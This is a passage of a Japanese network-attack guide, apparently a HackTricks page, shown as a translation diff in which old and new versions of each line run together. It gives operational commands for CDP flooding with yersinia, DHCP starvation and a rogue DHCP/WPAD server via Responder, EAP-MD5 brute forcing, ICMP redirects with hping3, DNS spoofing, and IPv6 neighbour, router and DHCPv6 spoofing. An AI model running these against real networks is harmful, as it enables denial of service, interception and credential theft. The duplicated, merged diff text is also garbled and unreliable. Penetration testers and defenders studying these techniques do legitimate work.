CDP はすべてのポートを介して情報をブロードキャストするように構成されており、これはセキュリティリスクにつながる可能性があります。攻撃者は、スイッチポートに接続した際に、**Wireshark**、**tcpdump**、または**Yersinia**などのネットワークスニファを展開することができます。この行動により、ネットワークデバイスに関する機密データが公開され、そのモデルや実行されているCisco IOSのバージョンなどが明らかになります。攻撃者は、特定の脆弱性を特定されたCisco IOSバージョンに対して標的にするかもしれません。 CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者がスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファを展開することができます。この行動は、ネットワークデバイスに関する機密データ、モデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定されたCisco IOSバージョンの脆弱性をターゲットにするかもしれません。
#### CDP テーブルフラッディングの誘発 <a href="#id-0d6a" id="id-0d6a"></a> #### CDPテーブルフラッディングの誘発 <a href="#id-0d6a" id="id-0d6a"></a>
より攻撃的なアプローチは、合法的なCISCOデバイスであるかのように振る舞い、スイッチのメモリを圧倒してサービスの拒否DoS攻撃を開始することです。以下は、テスト用に設計されたネットワークツールであるYersiniaを使用してこのような攻撃を開始するためのコマンドシーケンスです: より攻撃的なアプローチは、正当なCISCOデバイスを装ってスイッチのメモリを圧倒することによってサービス拒否DoS攻撃を開始することです。以下は、テスト用に設計されたネットワークツールYersiniaを使用してそのような攻撃を開始するためのコマンドシーケンスです:
```bash ```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach: # Alternatively, for a GUI approach:
sudo yersinia -G sudo yersinia -G
``` ```
攻撃中、スイッチのCPUとCDP隣接テーブルが重く負担され、しばしば**「ネットワーク麻痺」**と呼ばれる状況が生じます。これは、過剰なリソース消費によるものです。 この攻撃中、スイッチのCPUとCDP隣接テーブルは大きな負担を受け、過剰なリソース消費により、しばしば**「ネットワーク麻痺」**と呼ばれる状態になります。
#### CDPなりすまし攻撃 #### CDPなりすまし攻撃
```bash ```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet sudo yersinia cdp -attack 0 #Send a CDP packet
``` ```
また、[**scapy**](https://github.com/secdev/scapy/)を使用することもできます。`scapy/contrib`パッケージを使用してインストールしてください。 You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
### VoIP攻撃とVoIP Hopperツール ### VoIP攻撃とVoIP Hopperツール
VoIP電話は、IoTデバイスと統合されることが増えており、特別な電話番号を介してドアの開錠や温度調節などの機能を提供しています。ただし、この統合はセキュリティリスクを引き起こす可能性があります。 VoIP電話は、IoTデバイスとますます統合されており、特別な電話番号を通じてドアの解錠やサーモスタットの制御などの機能を提供します。しかし、この統合はセキュリティリスクをもたらす可能性があります。
ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境Cisco、Avaya、Nortel、Alcatel-LucentでVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、および802.1Q ARPなどのプロトコルを使用して音声ネットワークのVLAN IDを発見します。 ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境Cisco、Avaya、Nortel、Alcatel-LucentでVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して音声ネットワークのVLAN IDを発見します。
**VoIP Hopper**には、Cisco Discovery ProtocolCDP用の3つのモードがあります: **VoIP Hopper**は、Cisco Discovery Protocol (CDP)のための3つのモードを提供します:
1. **スニッフモード**`-c 0`ネットワークパケットを分析してVLAN IDを特定します。 1. **スニフモード** (`-c 0`): ネットワークパケットを分析してVLAN IDを特定します。
2. **スプーフモード**`-c 1`実際のVoIPデバイスのパケットを模倣するカスタムパケットを生成します。 2. **スプーフモード** (`-c 1`): 実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
3. **事前作成パケットモードでスプーフ**`-c 2`特定のCisco IP電話モデルのパケットと同一のパケットを送信します。 3. **事前作成パケットモード** (`-c 2`): 特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
速度を重視する場合、3番目のモードが好ましいです。指定する必要があるものは次のとおりです: 速度のために推奨されるモードは3番目です。次のことを指定する必要があります:
* 攻撃者のネットワークインターフェース(`-i`パラメータ)。 * 攻撃者のネットワークインターフェース(`-i`パラメータ)。
* エミュレートされるVoIPデバイスの名前`-E`パラメータ、Ciscoの命名形式に従う必要がありますMACアドレスに続くSEP)。 * エミュレートされるVoIPデバイスの名前`-E`パラメータ、Ciscoの命名形式に従うSEPの後にMACアドレス
企業環境では、既存のVoIPデバイスを模倣するために、次のことが考えられます: 企業環境では、既存のVoIPデバイスを模倣するために、次のことを行うことがあります:
* 電話機のMACラベルを調査する。 * 電話のMACラベルを確認する。
* モデル情報を表示するために電話のディスプレイ設定をナビゲートする。 * 電話のディスプレイ設定をナビゲートしてモデル情報を表示する。
* VoIPデバイスをノートパソコンに接続し、Wiresharkを使用してCDPリクエストを観察する。 * VoIPデバイスをラップトップに接続し、Wiresharkを使用してCDPリクエストを観察する。
3番目のモードでツールを実行するための例示的なコマンドは次のとおりです: ツールを3番目のモードで実行するためのコマンドの例は次のとおりです:
```bash ```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
``` ```
@ -498,57 +505,57 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
``` ```
**DoS** **DoS**
DHCPサーバーに対して実行できる**DoSの2種類**があります。最初の方法は、**十分な偽のホストをシミュレートして、可能なすべてのIPアドレスを使用する**ことです。\ **DoSの2種類**はDHCPサーバーに対して実行できます。最初のものは、**すべての可能なIPアドレスを使用するために十分な偽のホストをシミュレートする**ことです。\
この攻撃は、DHCPサーバーの応答を見ることができ、プロトコルを完了できる場合にのみ機能します(**Discover**(コンピュータ)--> **Offer**(サーバー)--> **Request**(コンピュータ)--> **ACK**(サーバー))。たとえば、これは**Wifiネットワークでは不可能**です この攻撃は、DHCPサーバーの応答を確認し、プロトコルを完了できる場合にのみ機能します(**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例えば、これは**Wifiネットワークでは不可能です**。
DHCP DoSを実行する別の方法は、**すべての可能なIPをソースコードとして使用してDHCP-RELEASEパケットを送信**することです。その後、サーバーは誰もがIPを使用し終わったと思うでしょう DHCP DoSを実行する別の方法は、**すべての可能なIPをソースコードとして使用してDHCP-RELEASEパケットを送信する**ことです。そうすると、サーバーは誰もIPの使用を終了したと考えます
```bash ```bash
yersinia dhcp -attack 1 yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed yersinia dhcp -attack 3 #More parameters are needed
``` ```
より自動的な方法は、[DHCPing](https://github.com/kamorin/DHCPig)ツールを使用することです。 より自動化された方法は、ツール [DHCPing](https://github.com/kamorin/DHCPig) を使用することです。
環境内でクライアントに新しいリースを取得させるために、上記のDoS攻撃を使用して、正規のサーバーを使い果たし、応答しなくなるようにすることができます。したがって、正規のサーバーが再接続しようとすると、**次の攻撃で言及されている悪意のある値を提供できます**。 前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。したがって、正当なサーバーが再接続しようとすると、**次の攻撃で言及される悪意のある値を提供できます**。
#### 悪意のある値を設定する #### 悪意のある値を設定する
`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して、ローグDHCPサーバーを設定できます。これは、HTTPトラフィックや資格情報をキャプチャするなどのネットワーク攻撃に役立ちます。ただし、ローグゲートウェイを設定すると、クライアントからのアウトバウンドトラフィックのキャプチャのみが可能であり、実際のゲートウェイからの応答を見逃すため、効果が低下します。代わりに、ローグDNSサーバーやWPADサーバーを設定することをお勧めします。 不正なDHCPサーバーは、`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするためのネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが推奨されます。
以下は、ローグDHCPサーバーを構成するためのコマンドオプションです 以下は、不正なDHCPサーバーを構成するためのコマンドオプションです
* **当社のIPアドレスゲートウェイ広告**`-i 10.0.0.100`を使用して、自分のマシンのIPをゲートウェイとして広告します。 * **私たちのIPアドレスゲートウェイ広告**: `-i 10.0.0.100`を使用して、あなたのマシンのIPをゲートウェイとして広告します。
* **ローカルDNSドメイン名**:オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定できます。 * **ローカルDNSドメイン名**: オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定します。
* **元のルーター/ゲートウェイIP**正規のルーターやゲートウェイのIPアドレスを指定するには、`-r 10.0.0.1`を使用します。 * **元のルーター/ゲートウェイIP**: `-r 10.0.0.1`を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
* **プライマリDNSサーバーIP**コントロールするローグDNSサーバーのIPアドレスを設定するには、`-p 10.0.0.100`を使用します。 * **プライマリDNSサーバーIP**: `-p 10.0.0.100`を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
* **セカンダリDNSサーバーIP**オプションで、セカンダリDNSサーバーのIPを設定するには、`-s 10.0.0.1`を使用します。 * **セカンダリDNSサーバーIP**: オプションで、`-s 10.0.0.1`を使用してセカンダリDNSサーバーIPを設定します。
* **ローカルネットワークのネットマスク**:ローカルネットワークのネットマスクを定義するには、`-n 255.255.255.0`を使用します。 * **ローカルネットワークのネットマスク**: `-n 255.255.255.0`を使用して、ローカルネットワークのネットマスクを定義します。
* **DHCPトラフィック用のインターフェース**特定のネットワークインターフェースでDHCPトラフィックをリッスンするには、`-I eth1`を使用します。 * **DHCPトラフィック用インターフェース**: `-I eth1`を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
* **WPAD構成アドレス**Webトラフィックの傍受を支援するために、`-w “http://10.0.0.100/wpad.dat”`を使用してWPAD構成のアドレスを設定します。 * **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”`を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
* **デフォルトゲートウェイIPのスプーフィング**デフォルトゲートウェイIPアドレスをスプーフィングするには、`-S`を含めます。 * **デフォルトゲートウェイIPを偽装**: `-S`を含めて、デフォルトゲートウェイのIPアドレスを偽装します。
* **すべてのDHCPリクエストに応答する**サーバーがすべてのDHCPリクエストに応答するようにするには、`-R`を含めますが、これはノイズが多く、検出される可能性があることに注意してください。 * **すべてのDHCPリクエストに応答**: `-R`を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはイジーで検出される可能性があることに注意してください。
これらのオプションを正しく使用することで、ローグDHCPサーバーを効果的に設定してネットワークトラフィックを傍受することができます。 これらのオプションを正しく使用することで、不正なDHCPサーバーを効果的に設定し、ネットワークトラフィックを傍受することができます。
```python ```python
# Example to start a rogue DHCP server with specified options # Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
``` ```
### **EAP攻撃** ### **EAP攻撃**
以下は、802.1X実装に対して使用できる攻撃戦術のいくつかです: ここでは、802.1X実装に対して使用できる攻撃戦術のいくつかを示します:
* EAPを介したアクティブな総当たりパスワード解読 * EAPを介したアクティブなブルートフォースパスワードグラインディング
* EAPコンテンツを不正に攻撃するRADIUSサーバ _(exploits)_ * 形式が不正なEAPコンテンツを使用してRADIUSサーバーを攻撃する _\*\*_(エクスプロイト)
* EAPメッセージのキャプチャとオフラインパスワードクラッキングEAP-MD5およびPEAP * EAPメッセージのキャプチャとオフラインパスワードクラッキングEAP-MD5およびPEAP
* EAP-MD5認証を強制してTLS証明書検証をバイパスする * TLS証明書検証をバイパスするためにEAP-MD5認証を強制する
* ハブまたは類似のものを使用して認証後に悪意のあるネットワークトラフィックを注入 * ハブや類似のものを使用して認証時に悪意のあるネットワークトラフィックを注入する
攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5に劣化させ、認証試行をキャプチャできます。その後、以下を使用して総当たり攻撃を行うことができます: 攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5にダウングレードし、認証試行をキャプチャしようとすることができます。その後、次の方法でブルートフォース攻撃を行うことができます:
``` ```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
``` ```
### FHRP (GLBP & HSRP) 攻撃 <a href="#id-6196" id="id-6196"></a> ### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP**First Hop Redundancy Protocolは、**ホット冗長ルーティングシステムを作成**するために設計されたネットワークプロトコルのクラスです。FHRPを使用すると、物理ルーターを1つの論理デバイスに組み合わせることができ、信頼性を向上させ負荷を分散するのに役立ちます。 **FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、障害耐性が向上し、負荷の分散が助けられます。
**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。** **Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。**
@ -558,73 +565,73 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
### RIP ### RIP
ルーティング情報プロトコルRIPには3つのバージョンが存在しますRIP、RIPv2、RIPng。RIPとRIPv2はUDPを使用してポート520経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にブロードキャストされます。RIPv2ではMD5認証がサポートされています。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のIPsec AHおよびESPヘッダーに依存しています。 ルーティング情報プロトコルRIP3つのバージョンが存在しますRIP、RIPv2、およびRIPng。RIPとRIPv2はUDPを使用してポート520経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
* **RIPとRIPv2:** 通信はポート520のUDPデータグラムを介して行われます。 * **RIPとRIPv2:** 通信はポート520のUDPデータグラムを介して行われます。
* **RIPng:** IPv6マルチキャストを介してUDPポート521を利用してデータグラムをブロードキャストします。 * **RIPng:** IPv6マルチキャストを介してデータグラムをブロードキャストするためにUDPポート521を利用します。
RIPv2はMD5認証をサポートしていますが、RIPngにはネイティブ認証が含まれず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。 RIPv2はMD5認証をサポートしていますが、RIPngはネイティブ認証を含まず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。
### EIGRP 攻撃 ### EIGRP Attacks
**EIGRPEnhanced Interior Gateway Routing Protocol**は動的ルーティングプロトコルです。**認証がない**場合やパッシブインターフェイスの構成がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの改ざん**を引き起こす可能性があります。さらに、EIGRPネットワークつまり、自律システム**はフラットで、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、このルートが自律EIGRPシステム全体に**広がる**可能性があります。 **EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証**がなく、受動インターフェースの設定がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク言い換えれば、自律システムは**フラットで、ゾーンにセグメント化されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
EIGRPシステムを攻撃するには、合法的なEIGRPルーターとの**隣接関係を確立**する必要があります。これにより、基本的な偵察からさまざまなインジェクションまでさまざまな可能性が開かれます。 EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立する**必要があり、これにより基本的な偵察からさまざまな注入まで多くの可能性が開かれます。
[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする仮想ルーター**を実装できます。攻撃者のシステムに展開するだけで、ルーティングドメイン内の合法的なルーターを装うことができます。 [**FRRouting**](https://frrouting.org/) は、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装することを可能にします。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
{% content-ref url="eigrp-attacks.md" %} {% content-ref url="eigrp-attacks.md" %}
[eigrp-attacks.md](eigrp-attacks.md) [eigrp-attacks.md](eigrp-attacks.md)
{% endcontent-ref %} {% endcontent-ref %}
[**Coly**](https://code.google.com/p/coly/)は、EIGRPEnhanced Interior Gateway Routing Protocolブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために使用できるパケットのインジェクションも可能です。 [**Coly**](https://code.google.com/p/coly/) は、EIGRPEnhanced Interior Gateway Routing Protocolブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために利用できるパケットの注入も可能です。
### OSPF ### OSPF
Open Shortest Path FirstOSPFプロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保**します。ただし、このセキュリティ対策はLokiやJohn the Ripperなどのツールを使用して妨害される可能性があります。これらのツールはMD5ハッシュをキャプチャしてクラックし、認証キーを公開することができます。このキーを取得すると、新しいルーティング情報を導入するために使用できます。ルートパラメータを構成し、侵害されたキーを確立するには、それぞれ _Injection_ および _Connection_ タブが使用されます。 Open Shortest Path First (OSPF) プロトコルでは、**ルーター間の安全な通信を確保するためにMD5認証が一般的に使用されます**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_ および _Connection_ タブがそれぞれ利用されます。
* **MD5ハッシュのキャプチャとクラック:** LokiやJohn the Ripperなどのツールが使用されます。 * **MD5ハッシュのキャプチャと解読:** LokiやJohn the Ripperのようなツールがこの目的で使用されます。
* **ルートパラメータの構成:** _Injection_ タブを介して行われます。 * **ルートパラメータの設定:** これは _Injection_ タブを通じて行われます。
* **侵害されたキーの設定:** キーは _Connection_ タブの下で構成されます。 * **侵害されたキーの設定:** キーは _Connection_ タブで設定されます。
### その他の一般的なツールとソース ### Other Generic Tools & Sources
* [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし脆弱性を見つけるツール * [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし脆弱性を見つけるツール
* ネットワーク攻撃に関する**詳細情報**は[**こちら**](https://github.com/Sab0tag3d/MITM-cheatsheet)で見つけることができます。 * **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet) を見つけることができます。
## **スプーフィング** ## **Spoofing**
攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータGW、IP、DNS構成します。 攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータGW、IP、DNS設定します。
```bash ```bash
Ettercap Ettercap
yersinia dhcp -attack 2 #More parameters are needed yersinia dhcp -attack 2 #More parameters are needed
``` ```
### ARPスプーフィング ### ARP Spoofing
[前のセクション](./#arp-spoofing)をチェックしてください。 Check the [previous section](./#arp-spoofing).
### ICMPリダイレクト ### ICMPRedirect
ICMPリダイレクトは、ICMPパケットタイプ1コード5を送信することで、攻撃者がIPに到達する最良の方法であることを示すものです。その後、被害者がIPに連絡しようとすると、パケットは攻撃者を介して送信されます。 ICMPリダイレクトは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がIPに連絡を取りたいとき、パケットは攻撃者を通じて送信されます。
```bash ```bash
Ettercap Ettercap
icmp_redirect icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
``` ```
### DNSスプーフィング ### DNS Spoofing
攻撃者は、被害者が要求するドメインのいくつか(またはすべて)を解決します。 攻撃者は、被害者が要求するいくつか(またはすべて)のドメインを解決します。
```bash ```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
``` ```
**dnsmasqを使用して独自のDNSを設定する** **dnsmasqを使用して独自のDNSを構成する**
```bash ```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS dig @localhost domain.example.com # Test the configured DNS
``` ```
### ローカルゲートウェイ ### ローカルゲートウェイ
システムやネットワークへの複数のルートがしばしば存在します。ローカルネットワーク内のMACアドレスのリストを作成した後、_gateway-finder.py_ を使用してIPv4フォワーディングをサポートするホストを特定します。 システムやネットワークへの複数のルートが存在することがよくあります。ローカルネットワーク内のMACアドレスのリストを作成したら、_gateway-finder.py_を使用してIPv4フォワーディングをサポートするホストを特定します。
``` ```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/ root@kali:~# cd gateway-finder/
@ -642,37 +649,37 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
``` ```
### [LLMNR、NBT-NS、およびmDNSのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNS検索が失敗した場合、Microsoftシステムは**リンクローカルマルチキャスト名解決LLMNR**と**NetBIOS名前サービスNBT-NS**に依存します。同様に、**Apple Bonjour**および**Linuxゼロ構成**実装は、ネットワーク内のシステムを発見するために**マルチキャストDNSmDNS**を利用します。これらのプロトコルは認証されていないため、UDP上で動作し、メッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。 DNSルックアップが失敗した場合、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)**と**NetBIOS Name Service (NBT-NS)**に依存します。同様に、**Apple Bonjour**や**Linuxゼロコンフィギュレーション**の実装は、ネットワーク内のシステムを発見するために**Multicast DNS (mDNS)**を利用します。これらのプロトコルは認証されておらず、UDP上でメッセージをブロードキャストするため、攻撃者がユーザーを悪意のあるサービスにリダイレクトするために悪用することができます。
Responderを使用して、ホストが検索するサービスを偽の応答を送信することで、サービスを偽装することができます。\ Responderを使用してホストによって検索されるサービスを偽装し、偽の応答を送信することができます。\
[Responderを使用したサービスの偽装方法](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)に関する詳細情報はこちらを参照してください [Responderを使用してサービスを偽装する方法についての詳細はこちらをお読みください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
ブラウザは一般的に**Web Proxy Auto-DiscoveryWPADプロトコルを使用してプロキシ設定を自動的に取得**します。これには、特定のURLたとえば "http://wpad.example.org/wpad.dat")を介してサーバーから構成詳細を取得することが含まれます。クライアントによるこのサーバーの発見は、次のメカニズムを介して行われる可能性があります: ブラウザは一般的に**Web Proxy Auto-Discovery (WPAD)プロトコルを使用して自動的にプロキシ設定を取得します**。これは、特に「http://wpad.example.org/wpad.dat」のようなURLを介してサーバーから構成詳細を取得することを含みます。このサーバーの発見は、クライアントによってさまざまなメカニズムを通じて行われる可能性があります:
* **DHCP**を介して、特別なコード252エントリを利用して発見を促進します。 * **DHCP**を通じて、特別なコード252エントリを利用して発見が促進されます。
* **DNS**により、ローカルドメイン内の _wpad_ というホスト名を検索します。 * **DNS**によって、ローカルドメイン内で_wpad_というラベルの付いたホスト名を検索します。
* **Microsoft LLMNRおよびNBT-NS**を介して、DNS検索が成功しない場合に使用されるフォールバックメカニズム。 * **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです
ツールResponderは、**悪意のあるWPADサーバー**としてこのプロトコルを利用します。それはDHCP、DNS、LLMNR、およびNBT-NSを使用してクライアントを誤導します。Responderを使用してサービスを偽装する方法について詳しく知りたい場合は、[こちらをチェック](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)してください ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用してクライアントを誤導して接続させます。Responderを使用してサービスを偽装する方法についてさらに詳しく知りたい場合は、[こちらを確認してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md) ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
ネットワーク内で異なるサービスを提供して、**ユーザーをだます**ことができます。**この攻撃に関する詳細情報は**[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**で確認してください。** ネットワーク内で異なるサービスを提供し、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は、[**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**で確認できます。**
### IPv6隣接スプーフィング ### IPv6 Neighbor Spoofing
この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者に、GWのIPv6が攻撃者のMACアドレスであると思わせることができます。 この攻撃はARP Spoofingに非常に似ていますが、IPv6の世界で行われます。被害者は、GWのIPv6が攻撃者のMACを持っていると考えるようになります。
```bash ```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
``` ```
### IPv6ルーター広告のスプーフィング/フラッディング ### IPv6ルーター広告のスプーフィング/フラッディング
一部のOSは、ネットワーク内で送信されたRAパケットからデフォルトでゲートウェイを構成します。攻撃者をIPv6ルーターとして宣言するためには、次のコマンドを使用できます 一部のOSは、ネットワーク内で送信されたRAパケットからデフォルトでゲートウェイを設定します。攻撃者をIPv6ルーターとして宣言するには、次のコマンドを使用できます:
```bash ```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4 sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0 ip route add default via <ROUTER_IPv6> dev wlan0
@ -680,20 +687,20 @@ fake_router6 wlan0 fe80::01/16
``` ```
### IPv6 DHCPスプーフィング ### IPv6 DHCPスプーフィング
デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを構成しようとします。そのため、攻撃者は自分自身をDNSとして構成するためにDHCPv6パケットを送信することができます。DHCPはまた、被害者にIPv6を提供します。 デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを構成しようとします。これにより、攻撃者は自分自身をDNSとして構成するためにDHCPv6パケットを送信することができます。DHCPはまた、被害者にIPv6を提供します。
```bash ```bash
dhcp6.spoof on dhcp6.spoof on
dhcp6.spoof.domains <list of domains> dhcp6.spoof.domains <list of domains>
mitm6 mitm6
``` ```
